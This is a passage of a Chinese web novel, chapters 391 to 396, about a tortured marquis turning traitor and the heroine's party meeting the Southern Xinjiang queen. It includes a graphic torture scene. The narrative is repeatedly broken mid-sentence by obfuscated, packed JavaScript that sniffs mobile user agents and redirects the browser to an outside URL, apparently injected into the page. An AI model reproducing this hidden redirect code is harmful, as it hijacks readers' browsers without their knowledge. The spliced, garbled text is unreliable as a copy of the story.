三…… “安王没有和天问大师勾结,他,他是要想办法把大师,还有那些怪物都在南疆处理掉!” 说到这儿,靖安侯忽然朝着莫老将军看了一眼,语气无比地委屈。 “殿下就是不想让天问大师为祸大梁,所以才——啊!” 莫老将军原本闭着眼坐在一旁,听了这话,愣是抬手将长刀一丢! 刀刃精准地从靖安侯脑袋旁飞过,将他的那只耳朵也割了下来! “少给老夫打马虎眼。” 莫老将军的声音冷得像冰。 “安王的老巢在什么地方?” 第三百九十一章 叛变还是**? 还在大声哀嚎的靖安侯忽然之间就变得安静了下去。 莫老将军冷笑一声,“啰啰嗦嗦了这么半天,说的都是些废话!你不会觉得这种花招能骗过老夫吧?” “你不知好歹,那就别怪老夫手下无情。” “你们两个,靖安侯的胳膊和腿没用了,都割掉吧。” 他漠然说着,那两个侍卫闻言再次上前,拔刀就对着靖安侯而去。 “不,不要,我说——” 靖安侯瞳孔骤缩,一句话还没说完,左手的小拇指便被一刀割下! 莫老将军这是要跟他来真的! 而他也把这位老将彻底地激怒了! 靖安侯再不敢有半点多余的心思,飞快地报出几个地址。 “这,这都是安王在南疆的府邸,”他疼得声音发虚,“或许还有别的,我不知道,我真的不知道了!” 莫老将军朝着倪宰相看了一眼,见他全都记下,这才对着自己的侍卫点了点头。 后者松开靖安侯,又恢复成桎梏着他的动作。 察觉自己不用断手断脚,靖安侯却并未放松,反而更警惕地屏住了呼吸。 “倪相爷,老夫问完了,你想问什么,请吧。” 莫老将军这时候示意抬轿的侍卫往后让让,把地方让给了倪宰相。 倪宰相的嘴角不住地抽抽着,这会儿终于感到锅里的血腥味顶得他几欲作呕了。 这位老将军一出手,连安王的藏身之地都挖出来了,他还有什么问话的必要吗! 不过,倪宰相又定了定神,他的确还有一件事情要做。 “你和安王是怎么联系的?” 问话的人又换成了倪宰相,靖安侯眼下却不敢再有半点不该的心思。 他耷拉着脑袋,老老实实地把通信的方式说了出来。 血还在流着,一滴一滴从双耳的伤口不断落在水面,一锅热水现在已经变成了血海。 靖安侯身上的伤处太多,还都十分严重,极速的失血之下,他这会儿已经有些听不懂倪宰相的话,只能勉力支撑。 隐月给倪宰相丢了个眼神。 再这么下去,这位侯爷就真要死在锅里了。 这种酷刑,连东厂都没研究出来呢! 倪宰相不着痕迹地点点头,又看向靖安侯。 “给安王写信,换你的这条命,如何?” 靖安侯直愣愣地望着倪宰相,脑袋转了半天,才终于听懂他的意思。 “你,你要我亲笔欺骗殿下?”他皱着眉头。 倪宰相老神在在地背着双手,“那你是要欺骗你的殿下,还是被煮成一锅肉汤?” 虚张声势,他也会! 靖安侯打了个哆嗦,却依旧紧紧咬着后槽牙。 安王对他有再造之恩,他也和安王发过誓,一辈子不能背叛对方! 他现在怎么能,怎么能……! “你们杀了我吧!” 双眼一闭,靖安侯此刻的模样格外大义凛然! “杀你?想得美!” 倪宰相看着他这英勇的气势,嘴角的冷笑更甚。 “做下这么多丧心病狂之事,想就这么死,岂不是太便宜了?天下哪有这样的好事?” 靖安侯还是咬着牙,又闭上双眼,不看任何人。 他能做到的就是这些,绝对不会再进一步! 莫老将军闻言要上前,却见倪宰相给他递来一个稍安勿躁的眼神。 “靖安侯,你最好睁开眼睛看看。” 回过头,倪宰相继续对着锅说话。 “看看这个院子里,是不是少了个人?” 他话音落下,靖安侯藏在眼皮下的眼珠子动了动,却又把眼睛闭紧了几分。 他不看,院中其他人倒是都转过视线。 略一清点,倪宰相身边那个最得用的小厮不见了。 倪宰相一拂袖,“明弈已经将靖安侯的玉佩送到安王那个影卫手里,并且让他知道,靖安侯,叛变了。” “你说什么?”靖安侯这回猛地睁开了眼睛。 他对上的还是倪宰相的笑脸。 “算算时间,这个时候,消息已经送到了。” 倪宰相在那影卫面前,表现得从来都十分相信安王,也尽力配合他的计划。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206366|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >眼下他身边的近侍送去这个消息,就算影卫不信,也得让安王知道,再行讨论。 “你这个卑鄙的老东西!”靖安侯挣扎着怒吼起来! 这下,他不叛变也得叛变了! 安王是容不下一个可能有问题的手下的。 更何况,他现在需要倪宰相这边的力量! “哪里有你们卑鄙?”倪宰相面上的笑容缓缓消失了。 若是安王没和天问那秃驴勾结,靖安侯没有给南疆蛊兵潜入大梁保驾护航,说不定,京城的那一仗,可以不用打得如此惨烈! 百姓不必遭此劫难,也不会生灵涂炭! 现在他不过是挑动了一下这些奸贼内讧罢了,倪宰相八风不动,连眼皮都没多眨一下。 “现在,忠心不二的靖安侯,你是要叛变,还是要死?” —— 靖安侯最终还是选择了倒戈,隐月带着他前往安王影卫的藏身之地,解决了那个正要将消息送往南郡的影卫,又一把大火,将那个破庙烧得一干二净。 在倪宰相的授意下,靖安侯给身在南郡的安王写下了另外一封信。 “别院情况一切正常,倪宰相把控局面,随时恭候殿下回京。殿下若有进一步打算,别院定全力配合。” 和这封信一起离开安王别院的还有养好伤的隐川,他带着另外一封倪宰相亲笔所写的书信,前往南疆王都和谢无咎接头。 两封书信还在路上,搭载着谢无咎的车队已经出现在南疆王都之外的官道上。 “主子,附近有不少人在盯着咱们。” 趁着清晨的最后一点暗光,谢三悄无声息地蹿进了马车之中。 叶晚竹闻言并不意外。 从他们离开雾川起,一路的追踪刺杀就没断过。 安王和天问大师显然都得到了这个消息,派人前来的速度甚至有几分争先恐后的意味。 眼下他们马上就要抵达最后的目的地,这两方势力想来只会更加说急着要**灭口。 谢三刚说到这儿,忽然听见又一阵脚步声从马车外传了来。 “夫人,今日进城,需要检查!” 第三百九十二章 大家一起搅浑水 邵威的声音响起,马车中的几人都不约而同地停下了动作。 他们是昨天晚上抵达王都附近的,夜间城门四闭,他们只能等到天亮,眼下就在清晨准备入城的队伍之中。 叶晚竹已经提前让人来打听过,王都这里的情况一切正常。 可他们刚到,城门就要检查…… 怎么看都是正冲着他们来的。 “我去前面看看。” 岑灵川压低眉头,撂下一句话就下了马车,顺手抄起一顶草帽,戴在脑袋上沿着队伍往前走。 叶晚竹一行打扮成到王都寻亲的普通百姓,他这幅模样倒也不算突兀。 收回目光,叶晚竹又朝着车中看去。 谢无咎正半躺在软轿上,一只手撑着脑袋,浑然一副没骨头的模样。 触到叶晚竹的目光,他懒洋洋地抬起手,在自己嘴唇上轻轻地碰了两下。 他现在是个**已深,随时有可能离开人世的重病人,他可不能说话。 叶晚竹瞧着他的模样,忍不住翻了个白眼。 那天救回影四,他们转头返回雾川,却又和前来袭击的刺客正面相对。 那些刺客穿着黑袍,下面是一个个光头,一眼看去是天问大师手下的武僧无疑。 可影卫们却看出了他们的招式,正是安王派来的人! 两边挑拨,安王这是看不到他们和天问大师打得头破血流,便不甘心! 刺客们没得手离开了,叶晚竹一行却不打算继续这样坐以待毙。 安王有心挑拨,他们却不能被他牵着鼻子跑,得化被动为主动才是! 于是乎,几人想出了散播谢无咎忽然毒发的这个消息,再连夜赶往王都。 谢无咎身上的毒是真的,再加上安王的老巢也在王都,他们本就要走这一趟。 事到如今,已经变成那两边在追着他们跑了。 “不想让咱们进城,”收回目光,叶晚竹压低声音,“还能改变守城的规则,看来是天问大师在发力了。” 谢三揣摩着主子的脸色开口,“如此说来,天问大师又掌握住了南疆的王庭?” 这个秃驴离开京城之后,叶晚竹便给邵威传信,据他当时总结的情况,南疆王忽然称病,将朝政交给侄子打理,而侄子年幼,不出多时,便被掌管蛊术师的国师一手操纵。 此后王都便成了国师的一言堂,现如今,天问大师又能插得进手了? 正说着,岑灵川从城门处折返回来,表情有些不好。 “南疆王的病好了。” 坐进马车,把草帽一丢,他张嘴便是一连串的坏消息。 “南疆王几天前忽然现身,宣布自己的身体已经彻底恢复,同时派人抓了后宫的宠妃,还有国师,说他先前的病,就是因为被这两人下了毒。” 听着这话,叶晚竹忍不住挑了挑眉。 如果天问大师的计划在京城也成功,想来就是现在这种状态了吧。 岑灵川冷嗤一声,“现在王都的一切管理权都回到了南疆王的手里,他背后的人,肯定是天问那个秃驴!” “我刚才问过了,城门的关卡不拦人,南疆王疑心王都附近还有国师的手下,查过没问题就会放人进去。” “我看是发现我们出现,就引到城里,来个瓮中捉鳖吧。”邵威黑着脸添上后半句话。 “师妹,你说,咱们怎么办?” 岑灵川转过脑袋朝着叶晚竹看去。 叶晚竹掀开车帘,目光向上,静静地看着南疆王都高大的城墙。 天问大师在城里,那城外的这些追杀者,应该就是安王派来的了。 知道他们离开,却还是要这么执着地挑拨,看来,他们就算是不应战也不行了。 “我们进城。” 缩头回到车里,叶晚竹已经有了决断。 “安王不希望我们和天问秃驴任何一方赢,为此势必要做些什么。” “他想拖住我们,我们也可以反过来,把他拖进泥潭。” “对天问秃驴来说,比起我们,安王应该才是那个更危险的对手。” 不就是搅浑水吗? 只有一个人搅可不行。 还是大家一起上,越乱越好! 她话音落下,一只修长的手伸了过来,在几人眼前上下晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206367|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,做出一个点头的动作。 两位主子都同意,余下的人自然也不会有什么意见。 天光乍亮,城门打开,准备入城的人和马车在守城军的安排下站成一列,慢慢地通过关卡。 叶晚竹一行来得早,没等多久便轮到了。 城门前摆着一排路障,只留下了能容纳一辆马车通过的空间。 路障里外都站满了兵士,人人手执**,警惕地看着每个前来接受检查的人。 饶是断定天问那秃驴不会在城门前就拦截他们,叶晚竹掀起车帘的时候,还是感到有些紧张。 “什么人?来王都干什么的?” 拦在最前方的守将一脸铁面无私,邵威轻声答着话,“我们是从万源到王都来投亲的。” 王都不比万源,这里是南疆的中心,说一口大梁话显然太过扎眼。 叶晚竹几人都不能张口,这件事只能邵威来办。 他点头哈腰地笑着,手里还将一个荷包塞了过去,瞧着十分上道。 万源前些日子出了事,人口流动得不少,守将收下银子,语气似乎也放轻了些。 “文牒拿来。” 邵威连忙将早就准备好的假身份呈了上去。 就在这时,几人身后的队伍里忽然传来一阵骚动! “怎么回事?” 守将眉头一皱,厉声喝问,与此同时,原本整整齐齐的队伍也在瞬间变得混乱! “**啦!**啦!” “有贼!” “他们偷我的文牒!” 乱七八糟的喊声传来,其中的内容让守将的表情越发难看。 偷通关文牒? 那不就是想混进王城? 岂有此理! “带人过去看看!” 和守将的命令一同传来的是一阵激烈的扭打声,听见这动静,守城的兵士们的脸色都变了,齐齐朝着事发的地方冲了过去。 “啊——” 又一声尖叫传来,还伴着急促的马蹄声响。 叶晚竹从马车后窗看出去,便见着一匹高头大马正加快速度,朝着城门这边冲来! 第三百九十三章 进城吧,什么都别说 坐在马上的人脸上蒙着黑色的面巾,眼神凶狠,显然是有备而来! 他胳膊上挎着一个小布包,和一身的装扮并不搭配,而在他身后,几个摔倒在地的旅人诶呦诶呦地喊着。 “就是他!” “把人拦下!” 守城的将军眉头紧皱,朝着冲在前方的兵士们大喊着,却有些来不及了。 那蒙面人打马朝城门而来,动作极快,丝毫不顾及拦在自己面前的兵士。 他策马踹飞了好几人,动作毫不留情,骨头被马蹄踩断的清脆声响不断传来之后,剩下的兵士也露出了畏惧的神色,不敢再上前。 “废物!” 守城将军咒骂一声,这个时候,那匹马已经冲到了城门前! 这一人一马,看模样都有些疯癫,叶晚竹一行连忙后退,好在他们还有马车能阻挡一二。 那守城将军便没有这么幸运了,还没等躲开,便被骏马高高扬起的蹄子重重踏在胸口,身子立刻朝后飞去! “将军!” 拦在前面的兵士惊慌地大喊着,又连忙七手八脚地挪动路障,想把城门堵住。 可惜还是晚了,那马纵身一跃,又踢翻了一大片守城的兵士,而后头也不回地冲进了城中。 此人还操纵着马儿,在那个守城将军的胸口又狠狠地踩了一脚,眼看着守城将军口吐鲜血才加速离开。 这一切发生得太快,直到那人策马离开,一众兵士才冲到附近,又手足无措地朝着城中追了上去,“站住!” “快去给大人传信!” “调马!调马!” 守城的都是步兵,靠着两条腿压根追不上那匹马,一时间城墙上下又是吹号,又是敲锣,瞬间就变得比刚才还要热闹。 马车里,众人面面相觑着。 “这秃驴是安排人给咱们逗了个闷子?” 忍了又忍也没忍住,岑灵川眼角抽抽着,不解地朝城中的一片乱象看去。 “这,”谢三哽了一下,“这看着,不像是那秃驴的安排吧?” 就算要制造混乱,天问那秃驴也该朝着他们下手才对,可方才这一通折腾,跟他们什么关系都没有啊! “检查一下,”叶晚竹忽然道,“看看有没有少了东西?” 万一那秃驴需要的只是一场混乱,他好趁机下手呢? 几人一愣,随即都低头在包裹里翻找起来。 “诶!你们!” 寻找无果,正一片忙乱,马车的车窗忽然被从外面敲响了。 邵威扶正帽子,连忙把脑袋伸出去,“官爷,您说!” 这会儿功夫,城门前的混乱已经基本得到了控制,受伤的兵士被扶走,新的人上来补位,都是一脸的警惕。 那个守城将军也被抬走了,躺着的地方只留下一片血迹。 前来和邵威说话的也穿着一身将军的衣裳,眉头紧皱,眼神飘忽,多少显得有几分心不在焉。 他把一行人的通关文牒从车窗递了进来。 “进去吧。” 邵威正要接过,闻言动作却愣住了。 让他们进去? 车中,叶晚竹也露出了有些意外的表情。 刚闹出这么大的事,他们这些正好在城门前的人,竟然不需要盘问,更是连一句话都不用多说,就可以进去了? “咳。” 谢无咎压低声音咳嗽了一声,在马车外看不见的地方,朝着叶晚竹使了个眼色。 叶晚竹也回过神来。 管他是因为什么,能进城就是好的。 她正要让邵威离开,却又听到这个将军压低了声音开口。 “方才的事情,进了城,不许多说一个字!听见了没有?” 他说的话太长了,叶晚竹等人都是一知半解,唯有邵威又把脑袋抬起几分,错愕地望着眼前的这位。 “快走快走!” 这个将军没再多话,一摆手让城门处放行。 马车启动,邵威缩回车中,立刻压低声音把刚才那句话说了出来。 岑灵川摸着下巴啧啧有声。 “这话说的,怎么有点封口的意思?那马是他安排的?” “这两个将军都是什么人?邵威,你认识吗?”谢无咎这时候忽然开了口。 因着方才那骑马逃窜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213753|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的贼人,虽然还是一大清早,可王都里却已经开始热闹起来。 各种声音交织着在马车周围响起,谢无咎说不说话已经无关紧要了。 邵威愣了一下,缓缓摇头,“好像没什么特殊的。” 他虽然在王都打探消息,可也不会精准到城里的每个人身上啊。 谢无咎闻言闭上双眼,语气还是淡淡的。 “那等我们落脚之后,便先查一下这两人都是什么来头好了。” 好端端的,他们在南疆又无亲无故,怎么会有人帮他们进城? 此事不太对劲。 说着话,马车已经走到了邵威的宅子附近。 邵威本是大梁人,在南疆王都想有一间自己的宅子,前后也花了不少银子疏通关系。 饶是如此,这座宅子也不过是王都里最最寻常的一处百姓居处的其中一间。 听着外面的马车声,不少街坊邻居都打开了自家院门,看着邵威从马车里探出头,又跟他打着招呼。 邵威在王都谨言慎行,打听消息又得和人人打好关系,他笑容满面地对着每个人说话,看起来和曾经的人口贩子沾不上一点儿关系。 “小邵啊,你家亲戚可真多!” 邵威这一路过来,不管谁问都说是去万源接应亲戚,他本来就是从万源到王都的,这话一点儿也不显眼。 可隔壁家大婶的这么一句话,却让邵威下马车的脚晃了晃! 什么意思? 车里的情况暴露了? 邵威下意识地就转头往马车里看,却见车窗都关得好好的,车门后的帘子也掖得严严实实。 半个人影都露不出来! 那这就更奇怪了! 见邵威回头看,邻居林婶也跟着抬起目光,“哟?还有一车?” 还有? 邵威扭过头,终于忍不住了,“林婶,您这是在说什么呢?” 林婶的表情看上去比他还莫名其妙。 “你家亲戚啊!今天一大早就回来了,不是你带进院里去的吗?人这么多,你多雇一辆马车多好,还得来回多跑一趟!” 邵威:?? 第三百九十四章 你家亲戚真多! “您,您是说,这院里已经有我家亲戚了?”他一句话说得结结巴巴的。 还是他驾车送进去的? 这怎么可能? 为了不打草惊蛇,他们这一趟来王都,邵威把消息捂得死死的,就连给他传消息的那些线人都不知道! 怎么会有人提前跑到他家来啊! “是啊,怎么了?” 邵威神情迷乱,眼神涣散,隔壁林婶看着他这幅模样,忍不住皱起了眉头,“邵老板啊,你没事吧?” 邵威在王都也开了家不大不小的茶馆,邻居们还时常过去给他捧场的。 听着林婶的语气,邵威连忙回归正常,搓了把脸,又挤出一个干干巴巴的笑容。 “没,没事……”他脑筋急转,“这肯定是我那小外甥!说好了让他等着,我一会儿去接,臭孩子偏不听话!” 林婶这才收起异样的表情,又笑起来,“诶呀,小孩子调皮嘛,没来过王都,好奇也是正常的!” 邵威却哼了一声,把袖子一扯,“我现在就进去打他的屁股!今天谁说话也不好使!” 他一副凶神恶煞的模样,林婶见状也不想多掺和进别人的家事,随便又说了几句便转身回了自家,把院门关得紧紧的。 方才和邵威打招呼的邻居们也已经各自离开,小巷里顿时变得十分安静。 邵威大步走到院门前,低头一看,本就是故意伪装出来的气势顿时又全都泄了个无影无踪。 院门是从外面被锁上的。 院里一点儿声音都没有。 所以,这到底是谁来了? 天问秃驴? 这是邵威第一个想到的嫌疑犯,他忍不住咽了咽口水,感觉自己背上的鸡皮疙瘩都立了起来。 “夫人……” 下意识地转过身,邵威嗫嚅着朝马车里看去。 “开吧。”叶晚竹隐在车帘后,声音沉静,无波无澜。 在她面前,岑灵川和谢三一左一右地蹲着,手中**出鞘,已经做好了所有准备。 “情况不对你就趴下,保你不死。”岑灵川对着马车头的邵威又补了一句。 用力咽了咽口水,邵威哆哆嗦嗦地从怀中摸出钥匙,捏在手里深吸了一口气,才视死如归般地将钥匙**锁孔。 情况不对就趴下! 在心里不住地念叨着,邵威的手还是发软,十分努力地将门上的锁链摘下,又一横心,把院门猛地推开! 砰地一声,熟悉的院子出现在邵威眼前。 一切看上去都和他离开的时候差不多,院中空无一人,看不出什么异样。 如果真是天问秃驴的人在此埋伏,岑灵川他们就不能现在现身。 努力定了定神,邵威装作若无其事的模样,自己拆下门槛,又自己把马车拉进院中。 刚把院门锁上,还没等他转过身子,吱呀一声,正屋的两扇大门自己开了。 情况果然不对! 邵威扑通一声就趴在了马车轮子后面! 与此同时,马车里的岑灵川也绷紧了身子,险些冲出去。 可……院中却再没有其他的动静了。 房门打开的声音消失后,一切又恢复了安静。 叶晚竹从车窗的缝隙往外看,只能看到正屋里黑漆漆的。 没有人影,这房门难道是自己打开的不成? “看来里面的人是要我们进去才肯现身。”略一思忖,她便明白了过来。 摆出这样的阵仗,又迟迟不肯露面,叶晚竹现在已经有六七分的把握,里面的人肯定不是天问秃驴派来的。 他们对对方的手段都已经很熟悉了,有什么招数直接使出来就是。 那这屋里的人会是谁? 眨了眨眼,叶晚竹掀开车帘,自己跳了下去。 “主子!” 邵威这会儿还趴在马车后面,双手还抱着脑袋,忽然看见叶晚竹的动作,他瞪大了双眼,又压低声音用力地喊,“小心啊主子!” 怎么他趴下了,出来的不是岑灵川,而是自家主子呢! 邵威的声音没存在多久,便被马车里又传来的一阵动静盖住了。 岑灵川和谢三一前一后,抬着谢无咎的软轿也从车上下来了。 “你还趴在那儿干什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213754|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 没好气地瞅了邵威一眼,岑灵川咬紧牙关低语,“还不快去给我师妹开道?” 在自己家,也这么窝窝囊囊的! 邵威又愣了一下,才手忙脚乱地爬起来朝叶晚竹那边跑去。 叶晚竹这会儿已经靠近了正屋,随着脚步,她才发现屋里的黑暗是源于有人用黑纱把所有窗户都遮上了。 屋里的人不想让自己的身份过分暴露。 所以,什么人才有这种需要? 邵威小跑着来到叶晚竹身边,正要开口,却听见自家主子利落地一句,“退下。” “……啊?”邵威闻言,神情越发呆滞。 怎么又要退下? “你进去可能不方便。” 感受到邵威的疑惑,叶晚竹轻笑一声,却并未朝着他的方向看去,而是依旧盯着敞开的大门。 她这会儿已经走到廊下,能看到一扇屏风正摆在一看就不属于它的地方。 那屏风将整个屋子挡住大半,从外面看,屋中的一切都被遮得严严实实的。 邵威也顺着叶晚竹的目光看去,触到那屏风愣了愣。 这不是他宅子里的东西! 余光扫见叶晚竹要抬腿往屋中去,邵威顾不上许多,连忙一把抓住了她的袖子,“主子,不能进去!这屏风不是我的,后面肯定有问题!” 他话音落下,一声轻笑似乎是从屏风后面传了出来。 邵威听得不甚分明,一时顿住,叶晚竹也在这时候扯了扯自己的袖子。 “你在王都开个小茶馆,能挣多少银子,足够买这么一架屏风?” 她带着淡淡笑意,邵威忍不住又往那屏风上多看了几眼。 打底的白色丝绢光滑细腻,即便屋中无光也自然泛着一层莹色,上面的绣样栩栩如生,还点缀着珍珠和玉片。 再看支撑屏风的木架,竟然是上等的红木。 这不光是一架昂贵的屏风,还,还…… “若我没有猜错,这是南疆王室才能使用的东西吧?”叶晚竹从邵威手里扯出自己的袖子,两步走进屋中。 “殿下果然聪明。” 第三百九十五章 王后在此 低哑的声音响起,也带着一丝笑意。 邵威正想追上去,听着这个声音却又不动了。 这屏风后面的人……是个女子? “此番出宫,的确有诸多不便,如果可以,请威远王殿下一人进屋可好?” 那声音还在说着话,的确是女子无疑。 南疆在某些方面算的上十分保守,越是高门大户的女子,越不能被人看到面容。 更别说这屏风后的人是来自宫中的了! 邵威对王都的风气也算有所了解,闻言脚下便更是犹豫起来。 叶晚竹倒是没怎么犹豫,大步朝屋中走了进去。 “为了王后娘娘的安全,也为了我的安全,咱们就这样隔着这道屏风说话吧,如何?”她毫不避讳地戳穿了屏风后女子的身份。 既然要前赴王都,便不能对这里的情况毫无了解。 叶晚竹提前摸过了王都皇室的底细,南疆王的后宫虽然热闹得很,自即位以来,每年都有新选的秀女入宫,可时至今日,后宫的大权却依旧牢牢地被王后抓在手里。 王后出身于南疆望族慕氏,慕家在王都的势力十分强盛,靠着这个,就连南疆王都不敢贸然对王后不敬。 在王后的把持之下,后宫里怎么会有妃子能跑出来? 叶晚竹敢断定,坐在屏风后的,一定就是这位慕氏王后。 果然,听了她的话,屏风后先是安静一瞬,随即那低低的声音又笑了起来。 “殿下是个痛快人,既然如此,那本宫也不多加隐瞒了。” “不错,本宫就是南疆王后,今日出宫,是听说了殿下一行已经进入王都,特来与几位商量一件事情的。” 叶晚竹闻言挑了挑眉,“王妃请讲。” 这个时候,谢无咎一行也移到了廊下,站在叶晚竹身后几步远的地方。 谢无咎不紧不慢地从软轿上起身,整理着衣裳,又跨了一步,在叶晚竹身影遮挡不住的地方站定。 这丝绢的屏风从外面看不见里面,可从慕氏王后的角度,却能清清楚楚地看到谢无咎的动作。 这位的身份,她已经了解了,见状还是不免一怔。 “谢都督无事?” 略显迟疑的声音从屏风后传来,谢无咎懒懒一笑。 “王后若是觉得本督碍眼,本督倒是可以再躺回去。” 王后顿时明了,这一切恐怕都是叶晚竹一行人故意放出的假消息。 “不知几位前往王都,为的是什么?” 她这话同样问得直接。 叶晚竹笑了笑,“王后费尽心思出宫来见我们,还事先调查,为的又是什么?” 屏风后又沉默了片刻。 叶晚竹本没指望王后会回答这个问题,正想后退半步,忽然听见屏风后飘出一个名字。 “天问。” 连同叶晚竹在内,一行人都顿住了。 “殿下和九千岁应该也是为了这个妖僧而来的吧?” 王后的声音依旧隔着屏风传来,听上去似乎比刚才更加低哑,还带着丝丝缕缕的嫌恶。 “娘娘和天问秃驴也有渊源?”顿了顿,叶晚竹轻声道。 “本宫与这妖僧并无渊源,是王上。” 王后的回答依旧干脆利落,又不等叶晚竹再发问,主动把南疆王心甘情愿被天问大师驱使的过往全都说了出来。 叶晚竹听着听着,眼皮不由自主地抖了几下。 她本以为南疆王和天问大师是互相利用,没想到,堂堂一国之君,竟然是心甘情愿地给天问大师当狗! “软骨头!”岑灵川也听得无语,重重地翻了个白眼。 谢无咎一直安静地听着,这会儿掀开眼皮,表情微冷,看向屏风后的目光倒是有些锐利。 “如此说来……王后,以慕家的地位,您嫁给如今的南疆王,这其中,有没有天问秃驴的手笔?” 南麟是个废物,被天问大师操控多年,手下想来也没有什么能人。 王后和慕家的资产,说不定也是天问大师想要的东西。 闻言,虽然外面的几人看不见,王后的表情还是滞了滞。 说实话,她怀疑这件事情也有几年了。 “此事现在并不算要紧,本宫这次出宫前来,是发生了另外一件更重要的事情。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213755|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>定了定神,她收敛心思,语气也沉了下去。 “王上此番回宫,似乎是出了什么大问题。” 邵威听着这话,低着头忍不住地龇牙咧嘴。 大问题? 这南疆王都能心甘情愿地给天问秃驴当那么长时间的傀儡,他身上还能出更大的问题? 王后的下一句话这时候紧跟着响了起来。 “王上似乎没了自己的意识,彻底被天问妖僧掌控了。” 邵威:…… 还真有更大的! “王后能否详细说明?”叶晚竹道。 “前段时间,王上对外说是养病,实则是不知为何忽然离开王宫,除了带着几个护卫,便谁也联系不上。” “几日前,他却又忽然回到宫中,马不停蹄地处理王侄和国师,还将先前的宠妃灵美人打入了死牢。” “这几件事办得风风火火,瞧着让人怀疑,本宫前去探望王上,本想探探他的口风,却没想到王上压根不见我。” 王后虽然身在后宫,可是有慕家的权势在,南疆王自己又是个立不起来的,对王后的态度向来软和客气。 这还是他这么多年来头一次对王后做出如此强硬的架势。 “一连数日,王上都拒绝与我见面,无奈之下,我只好通过父亲,找了位朝中大人前去。” 说起这种事情,王后的语气也十分自然,好像并没有什么大不了的。 “那位大人回来对我父亲说,王上屋中多了一架屏风,就在御书房的书桌之后,而王上处理政务的时候,总要一语不发地思考片刻才能给出回答。” “他停顿的时候一动不动,仿佛连呼吸也跟着一并停止,模样吓人的很。” “所以,王后是怀疑天问秃驴就在那屏风之后?”听到这儿,叶晚竹渐渐地明白过来。 王后点了点头,随即才反应过来外面的人看不见。 “正是——” 她正要继续往下,却忽然被院中的一个声音打断,“稍等!” 谢三蹲在树上警戒,他话音刚落,一阵敲门声便从外面传来。 “舅舅!开门啊舅舅!” 第三百九十六章 现在你就是我哥 是个小孩的声音,一边哭着一边拍门,听上去煞是可怜。 院中屋里这时候却忽然安静了下来。 几人互相看看,表情都变得十分难看。 这孩子喊着舅舅,应该是在喊邵威吧? 跟林婶说的侄子是邵威灵机一动胡扯出来的,怎么这么快就有了活生生的例子。 而且这个声音…… “我怎么听着有点这么耳熟呢?”邵威忍不住自言自语。 “的确耳熟。” 叶晚竹转过身子,语气森冷。 “外面的是德慧。” 也是半个萧延。 他们才刚进城,这么快就被天问大师发现了? “好密的眼线。”岑灵川忍不住咬紧了牙关。 “恐怕是本宫连累你们了。” 南疆王后的声音这时候从屏风后传来,叶晚竹凝神看去,屏风后不知道什么时候多了一道影子。 能无声无息地出现在这屋中,此人好厉害的身手。 “王上忽然到宫中找我,十有**是发现了什么。” 王后一边说着话,一边站起身来。 “我得立刻回宫,拖住王上,不让他有机会发作。” 虽然贵为王后,可她也不应该擅自离开宫廷才对。 叶晚竹点了点头。 “王后暂且留步,”她开口道,“眼下外面应该也有天问秃驴的人手,我们在前门拖延时间,吸引他们的注意力,也请王后动作快些。” 她回到宫中,他们这边的压力才能减小。 王后毫不犹豫地答应下来。 “等寻到机会,本宫会再联系你们的。”她又道。 叶晚竹略一颔首,便朝着前门而去。 与此同时,谢无咎吹了声不长不短的口哨。 “后门有本督安排的人手,会护送王后回宫。” 